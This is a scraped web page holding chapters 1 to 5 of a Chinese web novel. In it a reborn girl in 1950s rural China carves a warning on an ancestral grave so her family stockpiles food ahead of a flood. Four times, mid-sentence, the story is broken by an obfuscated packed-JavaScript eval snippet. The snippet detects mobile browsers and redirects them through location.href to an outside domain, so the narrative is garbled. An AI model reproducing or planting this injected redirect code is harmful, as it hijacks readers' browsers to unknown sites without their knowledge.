《回到五零年代》 1. 第 1 章 “哎呀~这算个什么事诶~” 友友们，倘若你们一觉睡醒发现自己来到另一个时代，且已经和自己爷爷做了三年兄妹，那该作何感想？ 此时此刻，钟莹莹满心满眼的不可思议。 她记得自己当时刚办完爷爷的丧事，走在马路上，一辆飞驰而过的百吨王就这么迎面而来，接下来就没有印象了。原来以为自己噶了，好险，差点赚到了，原来是穿了还重新投胎了啊~ 和记忆里一样，太爷爷生了姑奶奶和爷爷两个孩子，唯一不同的就是多了一个自己。 太爷爷今年四十八，太奶奶今年四十五，姑奶奶今年二十五，已经嫁出去了，爷爷今年才十八，不像村里其他人，早早的就结婚生子了，爷爷还没结婚，他们家人普遍的结婚都比较晚。 更让她感觉到神奇的是，自己的脑海里还多了一方空间，不大，只有五十个平方，里面空空如也。 钟莹莹来不及感慨，忽然想起了如今是五零年四月，离爷爷经常提起的那场酿成一家悲剧的水灾已经不足两月。太爷爷也就是她如今的爹，在灾后为了节省粮食给孩子，就这么活活饿死了，人走的时候全身浮肿，手指头一按一个坑。 回想起这三年来，这个爹待自己的好，钟莹莹可舍不得再让这次的悲剧重演。 还好，才四月，万物生长的季节，能做的事情有很多，五月份才开始下雨，下满了一个月才真正是灾难的开始。 “莹莹，吃香溜溜不？”浓眉大眼的爷爷，也就是现在的哥哥刚拔完草从地里回来，看见小丫头坐在门槛上人小鬼大的在那唉声叹气，就忍不住逗一逗她。 钟莹莹不屑的撇了撇嘴：“骗人，香溜溜夏天割麦的时候才有呢！” 虽然觉醒了以前的记忆，但是身子小了，行为也不自觉地变得幼稚起来。 “哟，这么聪明啊，还骗不到你个小丫头片子了！”钟绍华也不生气，伸出食指弹了弹小丫头的脑门。 “行了，你自己玩吧，哥哥做饭去了。”爹娘还在地里拔草，钟绍华先回来是为了做饭的。这个时期还没有所谓农药，除草都是要靠人工一点点去拔掉。 钟莹莹压根没听清钟绍华后面说了什么，一门心思沉浸在接下来该怎么办里。她虽然有个小空间，但也不能明目张胆的拿出来用啊，她可不想被人给抓去关起来研究了。 再加上一人小，二没钱，想搞物资放空间里也做不到啊，她全身上下也就只有之前过年时候攒的压岁钱，五毛六分钱，三年才这么些，本来有六毛的，之前脑子不好的时候嘴馋在供销社花了四分买糖吃，你还别说，没有添加剂的糖还真挺好吃。 钟莹莹陷入美味的回忆里，忍不住咂吧了几下嘴。 咳咳，扯远了，话归正题，到底要怎么才能够通知爹娘六月要发大水啊？ 忽然她又想起来现在是四月，四月？四月好啊！明天是清明节啊，得给祖宗烧纸，让祖宗告诉爹娘是最好的。虽说建国之后不让成精，但是谁家还没个祖坟了？ 钟家的祖坟就在钟家老宅后面的小树林里，一竖排七个坟包，边上种了一圈的松树，外圈是一大片的白杨树，钟家祖上绝对阔过，不然不会有这么一片坟地，村里其他家的坟都是零零散散的分布在田地里的，只有钟家的集中在一处。 那块平常除了秋冬季节有人过去搂树叶当柴烧，基本没人过去的，毕竟是坟地，还是比较忌讳的。 晌午吃了饭等爹娘和哥哥下地干活了，就过去，钟莹莹已经想好要怎么做了。在心里默念了几句：“祖宗莫怪、祖宗莫怪。” 钟家的午饭是红薯糙米饭，红薯多，糙米少，大蒜拌荠菜，还有一盘能从春吃到冬的臭咸菜，钟绍华还蒸了一碗鸡蛋羹，那是钟莹莹的加餐，孩子还在长身体，不能亏了营养，钟家可没有重男轻女的习惯。 “晚上收工回来你记得去老万那拿点纸钱回来，别忘了。”陈显英用胳膊肘碰了碰边上捧着一碗咸菜拌饭的老伴。 “知道了。”钟伟先头也不抬地答道。 “莹莹，爹娘和哥哥去地里了，你在家不要乱跑，水边不要去，听到了吗？”吃完饭都没休息，家里三个大人就赶着去小麦地里拔草，乡下人家，面朝黄土背朝天，就指望地里的收成吃饭。 钟莹莹看着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15585666|171733||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 辛劳的家人，再想想六月份的颗粒无收，心里尽是酸涩。 贼老天，风调雨顺的不好吗？干嘛要这样折磨人。 眼瞅着大家都走了，钟莹莹又等了一会儿，确定周围一个人都没了，把堂屋门一关，回了自己屋里，将上午放到空间里的一碗热水拿出来，发现水还在冒着热气，温度和放进去的时候几乎没有变化。 加上上午想把兔子塞进去没有成功，她已经能够确定自己的这个空间存放物品的规律了。不能进活物，时间是静止的，还真是个神奇的物件。 就是自己没啥东西可放，要是上辈子能在里面囤点货就好了。现在这玩意也就只能用来装野菜柴火了，可不是普通的大材小用了。 把自己的五毛六用手绢包好放进空间里，谢莹莹打开堂屋的门，从柴火堆里挑了一个顺眼的短木棍，藏在袖子里，从自家院子的侧门出去，直奔台子下面的小树林。（台子：方言，地势高的地方） 还没下去就发现了宝贝。 钟莹莹的嘴巴张成了o形：“好多竹笋！” 台子下面的斜坡上种了一大片竹子，春天长笋子，秋天被砍来编东西。竹子品种不行，箭竹，笋子很细，没啥笋肉，吃起来很费劲，春天菜多得很，也没几个人想起来去吃它。 这玩意切丝，煮一下，然后晒干，不知道多耐吃。 真好，出师大捷，直接发现一个食物。 越过白杨树林，来到松树下，太阳完全被树冠掩盖住，寂静的林子里连鸟叫声都听不到，钟莹莹脖子一缩，莫名感觉到一丝阴凉。 怪不得大家都不往这来，还真的挺阴间的。 扫视了一圈周围，确定没有人在。 钟莹莹飞快的在最后一个坟上用力划拉了几个字，害怕不够明显，又重复加深了几次。 之后又站远望了一下，确定离得远看不清，离得近才能看见，松了一口气。 最后一个坟是上辈子她太太爷爷和太太奶奶的坟，也就是现在爹的爹娘。其他坟烧纸的时候可能会粗略清扫，漏掉什么。但是这个绝对不会，亲爹妈的坟头，烧的纸钱都比其他坟要多一点。 2. 第 2 章 “莹莹，过来给你爷爷奶奶磕个头，让他们保佑……”钟伟先挨个给前六个坟烧完纸，正准备叫边上看着在瞎玩蚂蚁、实则专心致志于看他爹有没有发现自己刻的字的钟莹莹，就发现钟伟先突然惊叫一声：“见鬼了，祖宗还真能显灵啊~” 陈显英和钟绍华被他的惊呼声吸引过去，只见原本光秃秃的坟包上不知道被啥人给刻了几个字：“五月雨，六月河决堤，买粮。” 钟莹莹见他们都过去了，也探个小脑袋过去，装模做样的跟着一起看。 “英子，这……”钟伟先直愣愣的望着他爹娘的坟，打了一个寒颤，不知道该说什么好。 陈显英经历过最初的惊诧后，比钟伟先冷静的多。扫视了一眼周围，见没人，立马开口道：“有事回家再说，把字先抹平了。” 钟绍华也很吃惊，感觉浑身凉飕飕的，等到他娘一发话，他立马上前去用纸钱盖着泥土胡乱抹了几下，把字给糊的看不见了。 “行了，莹莹，绍华，你俩一块磕个头，谢谢爷爷奶奶。”陈显英一把揪过看热闹的钟莹莹，将人提到坟前跪好，实实在在的磕了三个头。 要问钟家人为什么没有怀疑这是有人在恶作剧，当然是因为整个钟家岗除了他们家，压根没有其他人识字。 别说这么文绉绉的字了，就算是简单的雨字，都不一定写得出。 至于说是外来人捣乱，那更不可能了，谁会大老远过来，去人家祖坟上干坏事啊，不怕半夜来客啊。 看着最后一丝纸钱燃尽，钟伟先带着媳妇和俩孩子回了家。 “今天的事谁都不要说，尤其是你们两个。”一进家门，陈显英就严肃的叮嘱家里两个男人。至于小的那个，还没上学呢，大字不识一个，指定压根不知道发生了什么。 “放心吧，娘。”钟绍华晓得事情的严重性，这玩意传出去对家里只有坏处没有好处。最多也就私下买完粮稍微暗示一下村里人。光买粮也不行，其他的东西也得弄点，大灾之后必有瘟疫，还得想办法弄点药回来。 钟伟先也应了一声，心里想，还好媳妇节俭，之前老爹留的钱一直没动过，要不然一时半会的想屯点东西真不容易，尤其现在还是青黄不接的时候。 水灾啊~那可不是什么闹着玩的事情，上一次发生还是在五年前，钟家岗不远处就是颍河大坝，那次是没有决堤的。只是连月的阴雨连绵造成的雨水堆积，淹了农田，几乎整年颗粒无收。 钟绍华至今还记得那个时候饿肚子的滋味，天天吃树叶子，吃的脸都绿了。 池省地处平原，一旦决堤，到处都是水，那可是跑都没地方跑，在家里死守反而可能会比出门避难更安全一些。 钟家岗在颍河大坝的北边，地势相对大坝南边高了不少。真的决堤了，那指定也是南边先撑不住。 坟上只写了买粮，没让跑路，那就证明家里是安全的，他们家在台子上，就算是淹，也是最后被淹的。 这年头，就算是逃荒，也是最后的万不得已。据说钟家岗的祖先就是从北边逃难来的，小脚趾的指甲盖多了一片就是证据，钟家人也很爱吃馒头，还会用鏊子烙鏊子馍，用来卷菜吃，就是小孩子一顿也能吃三四个香的不行。 “莹莹，走，跟娘一起掰笋子去。” 钟家的俩男丁驾着牛车拉了一车竹筐去县里买粮去了。对外只说是去卖筐换两个钱做嚼用。 家里的两个女的也不能闲着。台子下面的笋子平常人都懒得吃，需要焯水，笋壳得剥掉一大堆，还得放肉才好吃，一般人家哪有那个条件，钟家稍微好点，但也不可能经常吃那个。 细细的笋子微微一用力就能折断，就连钟莹莹这个三岁小娃娃也能好不费力的掰扯。 “英婶，费这力气掰这多笋子做什么？又不好吃。”住在钟家右边的老楚突然从竹林里探出个头来，属实是吓人一大跳。 陈显英抚了抚自己心脏扑通乱跳的胸膛，瞪了老楚一眼道：“吓我一大跳，这不你侄女馋肉了吗，他爷俩去卖筐，卖了给小妮子买点肉回来，我寻思掰点笋子一块炖。掰都掰了，多掰一点做笋干也是顺手的事。你要不也来掰点？” 台子下面的竹林是三家共有的，一大片，每家屋后就是属 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15585667|171733||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 于自家的。 “算了，我去喊我闺女来掰吧，好歹是个菜。”说完他就扭身回去喊他闺女去了，老楚这个人吧，平常就爱贪点小便宜，这个笋子以前他是瞧不上的，但是看钟家人掰了，他又觉得自己不掰亏了，所以指定也得掰点。 楚家有五口人，不对，应该是五个半，老楚，老楚的老娘，他媳妇，还有他两个闺女，他媳妇肚里还有个八个月，就快生了，老楚就盼着这胎能生个男娃，不然他就绝后了。 老楚都掰了，陈显英寻思喊老万也来掰点。大家都是邻居，等到闹荒了，别家都没得吃，就自家有的吃，那是要出大乱子的。 老万住在钟家的左边，台子上一共就住了这么三家。老万家就他一个人，整天神叨叨的，说什么五弊三缺的，不能娶妻生子，给他爹娘活活气死了，闲的时候就在村里卖点黄纸，给人上坟用。平常有人遇到邪门的事了，也会找他来破一破。一人赚钱一人花，过的不知道有多潇洒。 陈显英一喊，老万没多久就从家里拎着个大竹筐出来了。 没多久楚家俩闺女也来了，一人拎了个大竹筐，主打一个要把林子里的竹笋都掰完的节奏。 陈显英就着自家的竹筐，就这么在林子里拿小刀划笋子剥皮，剥好的放筐里，笋壳直接丢林子里，这玩意鸡都懒得吃，拿回去还得费工夫丢出来。 钟莹莹还在掰笋子丢给她老娘，剥笋子不行，掰笋子她还是很在行的。 娘俩配合的很好，没一会儿就装满了一筐。 陈显英让钟莹莹继续掰，她先把笋子倒回家。 不管是掰笋还是剥笋，其实主力都是陈显英，钟莹莹只是个辅助，娘俩就这么打着配合弄了三大筐净笋。 “行了，回家煮笋子去，再弄下去也没地方晒了。”陈显英觉得今天的收获已经够多了。提起篮子，又拉着钟莹莹，就这么回家了。 老楚家俩闺女见她不掰了，面面相觑，不知道还该不该继续掰，俩人一下午也搞了四筐了。已经比钟家的多了。最后她俩也走了。 至于老万，更是早早的弄完两筐就回家了。 3. 第 3 章 直到钟莹莹睡着，那两父子都还没到家。牛车走的慢，去镇上还好，去县里白天去，夜里能回来都算是好的。 “买了多少？”钟家两父子刚趁着月光把牛送到牛屋里，把架车子上的货给卸下来，搬到堂屋里去，陈显英就忙不迭压低了声音问道。 “两百斤大米，面粉没货了，还碰见卖新下的土豆的，买了一麻袋，我估摸着得有个四五十斤重。” “粮站买的，米有点贵，一毛四一斤，花了二十八，土豆子没约称，人家按麻袋卖的，一麻袋两块钱。” “还买了点药，说家里姑娘发烧了，媳妇肚子疼，去医院药房给拿了点安乃近，又上老中医那拿了干姜片，益母草，让他给开了五六副退热的中药，再要多，人家不给了。其他的我也不认识，就没敢开口要。一共花了四块五”钟伟先有点心疼，但是没办法，这玩意是必须的，到时候发大水了，去县里的路不一定走的通，万一生病了，大人还好，孩子怎么办？ 陈显英打开麻袋，挑出一个土豆掂了掂，然后抓了一把米，挑出一粒用牙齿咬了咬，确定没问题了把手里的米又给放回去了。 钟伟先还买了五斤红糖，他们这里产糖，所以买到这个并不难。 盐也拿了十包，只给人说是买回家腌咸菜用，这些都是好东西。 “行了，把土豆背西屋地窖里去。米拎东屋绍华那柜子里放着。”钟家的正房一共是四间，正中间的堂屋，堂屋左侧的是钟伟先夫妻俩的房间，右侧第一间原来是钟家小姑的，她嫁出去后，那个房间就留给钟莹莹了，现在她还小，还跟着夫妻俩睡，那间房也就暂时性的做了家里的仓库，平常家里除了日常吃的米粮都堆在那里，第二间是钟绍华的，原先是钟爷爷钟奶奶的，里面有个大衣柜，拿来藏粮食再好不过了。 钟伟先夫妻俩的房间左侧还有一间小的柴房，里面放了一些比较规整的木柴，外面找不到柴火的时候才会烧那个。柴房下面就是钟家的地窖。 钟家的院子很大，柴房的正前方是灶房，平常做饭在那里，灶房前面有一块菜地，是一块坡地。 人住的房子是砖头砌的，他们隔壁村有个砖窑厂，所以不缺这些，右边有个牛屋，牛屋还是土房子，还搭了简易的鸡窝和兔子窝，到时候发了水了也不知道这些还能不能留得住，想的有点远了，万一留不了，那就直接宰了吃了。 “得了，先洗洗睡觉吧，天也不早了，明天还要干活呢。”收拾完东西陈显英就打了个哈欠，摸黑干活基本不可能的，蜡烛不要钱啊，村里向来日出而作，日落而息的。今天搞到这么晚，也属实是特殊情况了。 “喔喔喔喔呜~~~~喔呜~~~~” 天刚蒙蒙亮，钟家鸡群中唯一的公鸡就在扯着嗓子威风凛凛嚎叫。 在鸡叫声中，钟家的三个大人都早早的起了床，反而睡的早的钟莹莹此刻还睡的像个小花猪一样。 陈显英起床用柳枝沾盐刷了牙，又洗了把脸，就去做饭了。 两父子把昨天陈显英处理完的笋丝给放在竹席上一条条摊开晾晒，弄完之后凑到一块，嘀嘀咕咕，不知道在商量些什么。 饭做好了，陈显英才知道他俩打什么名堂。 原是想去买几口大水缸回来，钟家是有缸的，四个大水缸，一代传一代传下来的，一口放在灶房当水缸，平常去台子下的水井里挑了水回来倒里面，充当生活用水，一口放在陈显英他们卧房里，里面堆了平常做饭用的米面。两口腌咸菜的大缸，都放在院子的角落里。一口能装八十斤咸菜。此刻这两口缸空了一口，剩下那口也只剩下小半缸腌的雪里蕻。 “娘，再买三个缸回来，放在仓房里两个装粮食，还有一个堆灶房里盛水用，发了水了，每天去打水也不太容易。” “坛子也得再拿上四五个，酱豆子和泡菜都得再弄点。”这些都是存放时间很长很长的，乡下酱油不好买，想吃点有味的，也就只有自家焖的酱豆子了。这玩意能一年吃到尾，不管是放在其他菜里，还是单独用辣椒炒了，都很下饭。 一发水，就是半年的收成没了，想要等下半年的，得到秋天，中间只吃不进，谁家也禁不起这么造啊，还是得多多准备些比较好，反正那些东西顶多也就费些盐，而且腌一次后那些卤水还能够重复利用，费不了几个钱的。 “那早点去吧，窑厂应该有货，拉回来我抓紧时间弄。”陈显英想也没想就同意了。 于是等钟莹莹穿好自己的小棉袄起来的时候，家里又只剩下老娘一个人了。 “娘，爹和哥哥还没回来吗？”不应该啊，按理说早该回来了。 “回来了，他俩去买缸了，家里缺个缸腌咸菜。”小娃娃又不懂事，陈显英随口敷衍道。 “你待会儿是跟娘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15585668|171733||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一块下地除草，还是在家待着自己玩？”这个年头孩子能走了都是自己到处跑着玩的，大人并不会一直跟着。 “我要一块下地~”钟莹莹准备去地里看看，有没有什么东西能掰扯进自己空间的，不然那空间不白瞎了吗？ 三口两口的喝完了碗里的红薯稀饭，把嘴一抹，背上自己老爹给自己特制的小背篓。钟莹莹就这么着跟着陈显英一块去了地里，中间陈显英嫌她走的慢，一把把她抄在胳肢窝下面夹着，大步流星的没多久就到麦地里了。 陈显英来麦地里并不是为了除草，而是过来挖野腊菜的，也就是野生的雪里蕻，麦地边上经常能见着这玩意。小河沟边上还有野枸杞，可以趁着鲜嫩，采些枸杞头回去。 水里还有野芹菜和芦蒿，芦苇荡里运气好还能捡到野鸡野鸭蛋，运气不好的话，可能会碰到蛇。他们这蛇还挺多的，尤其春天，有时候能碰见一窝蛇团在一起在水面翻涌，看起来瘆人的很。 借着锄草的名头，陈显英在麦地边上没一会儿就拔了七八颗大的野腊菜，又找了一会儿，自家麦地边上是没有了，她又去边上的麦地拔了几颗。凑了一背篓。 看钟莹莹在底边瞎玩，扯了半天背篓里没几根枸杞头，紧接着她又征用钟莹莹的小背篓，装了一篮子枸杞头，又采了一大抱野芹菜在怀里抱着。 钟莹莹是在玩吗？那可不是，她采的枸杞头小部分扔到了背篓里，大头的丢到了自己的空间里。背篓装不下多少东西，空间能装啊。趁着陈显英在水里采野芹菜的功夫，她还从芹菜堆里偷了一些进空间。 水里这些东西多的是，她多偷点，她娘才能多采点，不然的话，把这些运回家，还得多跑几趟。 满载而归的途中，路过村里的晒场，钟莹莹发现了晒场边上长着的车前草，故意歪歪扭扭的不走正道，让陈显英发现地上长的东西。 而陈显英也没辜负她的期望，车前草可是好东西，清热解毒，晒干了煮水喝，很下火。在心里琢磨着等会儿回家拿小铲子过来挖点回去晒。 想到清热解毒，陈显英就想到了薄荷，村子里的野薄荷、野紫苏可不少，等会儿也采了回去晒，还可以移栽一点种到自家院子角落里，防蚊虫，免得到时候被蚊子叮了得传染病。还可以煮了洗澡，祛痱止痒。 正想的入神呢，一句“钟婶子”突然出现，打断了她的思路。 4. 第 4 章 一个身穿打着一摞补丁的薄棉袄的男人突然出现，不是他们的邻居老楚是谁。 “挖这么多野菜啊婶子。在哪挖的，我也去弄点，正好家里没菜了。”老楚笑眯兮的突然又从犄角旮瘩里窜出来，盯着陈显英怀里抱着的野芹菜，希望她能分自己一点，这样也省得自己回家喊闺女去摘了。 没错，老楚不仅爱占小便宜，还是一个懒汉，能丢给家里人干的活，是绝对不会自己动手的。 “就在芦苇荡边上的水沟里，那边多着呢，抓紧点去摘，还能赶上晌午回家吃饭。”陈显英可没打算让别人霸占自己的劳动成果。又不是啥稀罕物，辛苦摘了半天，咋可能送人呢。 “那谢谢婶子了。”老楚没占到便宜，有点不乐意，但是嘴上还是道了谢。 紧接着刺溜一下又不知道钻到哪里，迅速的消失不见了。 钟莹莹看着老楚，心里思索了一下，寻思像老楚这样爱占小便宜的学人精多一些也不是没有好处。春天的野菜采的没有长的快，大家一般也就采够吃的就算了，压根不会想到去囤这些东西。 但是等到真正闹饥荒的时候，拿野菜树叶啥的当饭吃，什么都能啃秃噜皮咯。 提前囤点，到时候就少一些争抢。 村子里安全了，也不会发生不良事件。 乡下人有点啥事，大家都知道了，除了昨晚买粮爹是偷偷摸摸的，今天去买缸却是光明正大的。爹娘是不是也在暗戳戳的让村里的学人精们跟着囤点东西？到时候就算是粮荒了，整个村抱团，也不至于被外来的给欺负了。 回到家，把菜洗了，放在簸箕里控干水分，腌的时候不容易坏，之后野腊菜就丢到腌雪里蕻的那个大缸里就行，不需要再做其他的处理。 钟莹莹趁着陈显英洗菜的功夫，装作在洗菜盆里玩水把空间里的菜给偷渡到了洗菜的木盆里。陈显英心里装着事，自然没有察觉。 枸杞头采的量不多，洗干净焯水切碎，拿蒜末辣椒盐香油拌了，直接中午就吃掉了。 野芹菜先放着，中午吃完饭让父子俩再去采点，凑一缸，把空着的那个缸给填满了再腌，家里有粮，心中不慌。 杨树叶也可以撸点回来，焯完水，泡一泡去掉苦味，腌一腌，也是一道耐吃的小咸菜，现在四月还好，等到五月，叶子老了，就不好吃了。也不是不能吃，据说老一辈的有用那个做黑凉粉的，味道嘛，只能说勉强塞饱肚子而已。 菜地里的蒜苔也该抽了，也能腌起来放着，等大蒜长出来可以和辣椒、生姜一起弄到坛子里做成泡菜。还有一个多月呢，时间应该来得及。 父子俩到家的时候，陈显英刚好把饭做好，凉拌的枸杞头，煎了四个鸡蛋，煮了一锅红薯饭，这次是红薯少，大米多。最近事情多，多吃点补补才好。 “回来的时候遇到村长了，问我买那么多缸干嘛？我说今年多腌点咸菜，去年的都不够吃。他说也要买几口缸回来腌菜，他家也不够吃。”钟伟先夹了一筷子枸杞头放进嘴巴里，一边吃一边道。 “村长家人多，多腌点也是应该的。”村长名为钟强先，跟钟伟先是一个辈份的，都是先字辈。钟莹莹和钟绍华本该是新字辈，陈显英嫌弃不好听，就没随着那个字取名。 村长家那可是人丁兴旺，村长的爹娘，奶奶，都活着，他爹娘生了三个儿子，村长是老大，所以分家后他爹娘跟着他生活。村长自己娶了个媳妇，还生了六个娃，四男两女，最大的儿子今年十九了还没娶上媳妇，半大小子，吃穷老子，平常都是勒紧了裤腰带过日子。 “这下好了，村长跟着买缸，村里人肯定都会买。”钟绍华一边扒饭，一边乐呵。村里的学人精无处不在，只他们一家，学的少点，加上村长家，估计整个钟家岗的人都会有样学样。 “行了，都别说了，吃完都给我去摘芹菜去。”陈显英没好气道。说多错多，真害怕这俩啥时候顺嘴把祖坟的事给秃噜出去了。 吃完饭又是全家出动，这次带的工具比上回多了，父子俩就拿了四个背篓，陈显英野拿了俩，钟莹莹还是背着她的小背篓跟着晃悠。 父子俩去南边河沟里摘野芹菜，母女俩去晒谷场挖车前草，顺便再去西头的荒地里摘些野薄荷和紫苏，锄头野带上了，不光采摘，还要挖一些回家移栽。不用挖很多，薄荷那东西 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15585669|171733||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，挖一点回来，它自己就能衍生一大堆。 出门的时候隔壁的老万也刚好从家里出来，看了看钟家人，看到钟莹莹的时候，从上到下扫视了一遍。然后“哼”的一声笑了。随后转身回家也拿了背篓，跟上钟家父子俩一起挖野菜去了。 “老万这老东西，越来越瘆人了。”原先只是神叨叨的，现在感觉还沾点疯癫了。 “莹莹，以后你搁家玩，除了爹娘和你哥外，其他人都不要给开门，听见了没有。”陈显英显然是把老万当成精神不正常的了。 “知道了，娘。”钟莹莹心里也有些犯嘀咕。那声笑，该不会是自己被看穿了吧？不会的吧？这里还能有这能人？ 前世的老万是活到了钟莹莹出生的，那时候他都一百零五岁了，等到钟莹莹满三岁的时候才去世，一个神神叨叨的人，能平安度过牛鬼蛇神那几年，足以证明他是个有本事的。 希望他只是“有点本事”，而不是“太有本事”吧。 村里这些人，虽然小毛病有很多，大问题是没有的，就像老楚，虽然重男轻女，还爱占小便宜，但是生了女孩也没有像别村那样给孩子丢掉或者溺死。虽说对孩子也不太好，但这个时代就是这样。 不到万不得已，钟莹莹是不想节外生枝的。毕竟她现在只是个手无缚鸡之力的小娃娃。 揪了半天的薄荷头，指甲盖都被薄荷汁液给染成棕色的了，小背篓装的满满当当的，空间里也存了不少私活，这部分钟莹莹不打算回家再掏出来，干薄荷和新鲜薄荷不是一种风味的。新鲜的她没事可以嚼一嚼，既能去火，又能清新口气。老娘采的已经足够家里用了。足足一背篓，估摸着得有个二三十斤。薄荷轻，这么重数量已经很不得了了。 之前的车前草没有挖到很多，也就七八株，在荒地里又挖了十几棵，加一起估计也就半斤，等到晒干了，就更轻了。 紫苏也摘了一背篓，估摸着和薄荷差不多重。 紫苏拿回去用辣椒腌了，也是一道好菜，这是村里逃难来的北湘媳妇带来的做法，以前村里没几个人吃这个玩意。 钟家岗看着小，能人异士还怪不少的。 5. 第 5 章 时间来到五月份，原本晴朗的天气瞬间变得阴雨连绵。 嫁到隔壁的钟家小姑钟明芳期间回来了一趟，她嫁的那村子就是有窑厂的那个，一家老小都在里面干活，这次是听说娘家买了不少缸和坛子，特意回来的。不光来，还带了好几个咸菜坛子。 “娘，你们要买坛子咋不和我说呢，我家这东西多的很，还不要钱。”在窑厂干活，平常有没烧好的次品啊啥的便宜处理，几乎相当于白拿了，都是他们这帮人抢了去。 “买的多，去你家拿，到时候你公婆心里该不得劲了。”那吴家人，一家人就没几个好的。也就钟明芳嫁的这个，还勉强能够入眼。 “你家的今年挖的土豆也别卖了，听说县里有人收，价格高点。”话不能说太明白，闺女是自家人，但是女婿不是，一个床头睡觉，万一说漏嘴了就不好了。 “这雨一直下，今年的收成还不知道咋样呢，你家粮还够吃吗？家里有孩子了，多搁家里放点粮，不够让大勇去县里买点，咸菜也多腌一点，家里坛子空着也是空着，费点盐的功夫而已，听见了没有，大人能饿，孩子可饿不得。”大勇是钟明芳嫁的人。 钟明芳生了一个女孩，叫丽丽，今年一岁多，刚会走。 “知道了，娘。” 该提点的都提点了，想不明白她也没办法了。要是到时候实在没得吃了，把钟明芳接回来，一个大人一个小孩，锅里多兑一碗水，还是能凑合养的。 这雨已经下了一周还没停了，麦地里已经开始有积水了，村里已经有老人开始唉声叹气了。老农民面朝黄土背朝天，靠天吃饭，天公不作美，那不是要他们的命吗？ 钟家人能做的都做了，四月的时候，就连屋顶上的瓦片都给捡了一遍，就是害怕到时候连月的阴雨房子会漏雨。 还买了二十多斤的鸡冠油回来炼油，后世不吃这个，但是搁这个时候可是个好东西。猪油能炒菜，冬天还能拿来擦手擦脸预防开裂。猪油渣也香的不行，空口吃已经很香了，包包子炒菜更是一绝。满满两坛子的猪油混着油渣，被陈显英锁在了自己屋里的柜子里。 柴火也捡了不少，撸杨树叶的时候扯下来的树枝，统统砍了晾干了收到柴房里了。外面的柴堆堆的是一些比较松散的干草，还有秋天的稻杆和玉米秆，以及搂的干树叶子，他们这没山，不能大规模的砍柴。主要还是靠烧稻杆麦秆这些。 平常存的柴都是掉落的小树枝，还有就是修树的时候砍的比较大的枝桠。 至于煤炭，这里是没有的，也没有人能用的起。除了以前的地主老财。 村里的那群学人精也跟着学了不少，起码房子的瓦片都捡了一遍。到时候漏雨倒塌的风险应该也小了不少。钟家岗本身人就不多，只有十几户人家，除了一个老楚和老万两家，其他都是姓钟的。 家家户户本就有存粮，只是不多而已，这阵子又跟着钟家人挖野菜，腌咸菜，那可是囤了一屋子。就是腌菜啥的终究还是不顶饱。 不过还好，这一批地里刨出来的土豆大家都没有卖。每家地窖里都堆了起码几百斤的土豆子，钟伟先到处蹿唆土豆等等卖，价格更高，大家想反正等几天也不碍事。 这几天刚一下雨的时候还有人骂他，说他耽误了大家卖土豆。可是等到雨下了一周都没停后，村里人的脸色都变了。 彷佛几年前的水灾又重现在了眼前，这一季的作物算是完蛋了。 各自回家清点了存粮，才算是小小的松了一口气。 紧接着又把能够存放的久的干粮给收好，然后勒紧裤腰带。每顿饭都做的清汤寡水的。照他们的话说就是，下雨又干不了活，饿不死就算了。 顿顿土豆子，红薯，最多撒点盐，油星子都不见半点。都是吃过苦的，没什么是咽不下去的。 又过了一周，大雨还在下，村里地势比较低的几户人家那水已经接近门槛了。等到水漫进屋里就麻烦了。 村长征召了村里的几个壮丁，帮着这几户重新修了加高了一圈门槛。又在墙边围了一圈石头，只期盼能起点作用，水不要渗到屋子里去。外面的院墙也给加固了一下，包括院门的门槛更是挡到了半人高。 村长叹了一口气，他们这已经开始有积水了，那大坝对面岂不是更糟糕。 他媳妇娘家就是坝子那边黄家岗的，现在整天在家里急的不能行，就害怕娘家出什么问题。 钟家人就没有这么多的担心了，钟家在台子上，地势高的很，除非淹到其他人家的屋顶，否则水是压根进不了钟家的屋子的。而且这一家的人际关系极其的简单。钟父钟伟先不必说，往前数几辈都生活在钟家岗，一家老小生在这长在这，外面压根没啥亲戚。 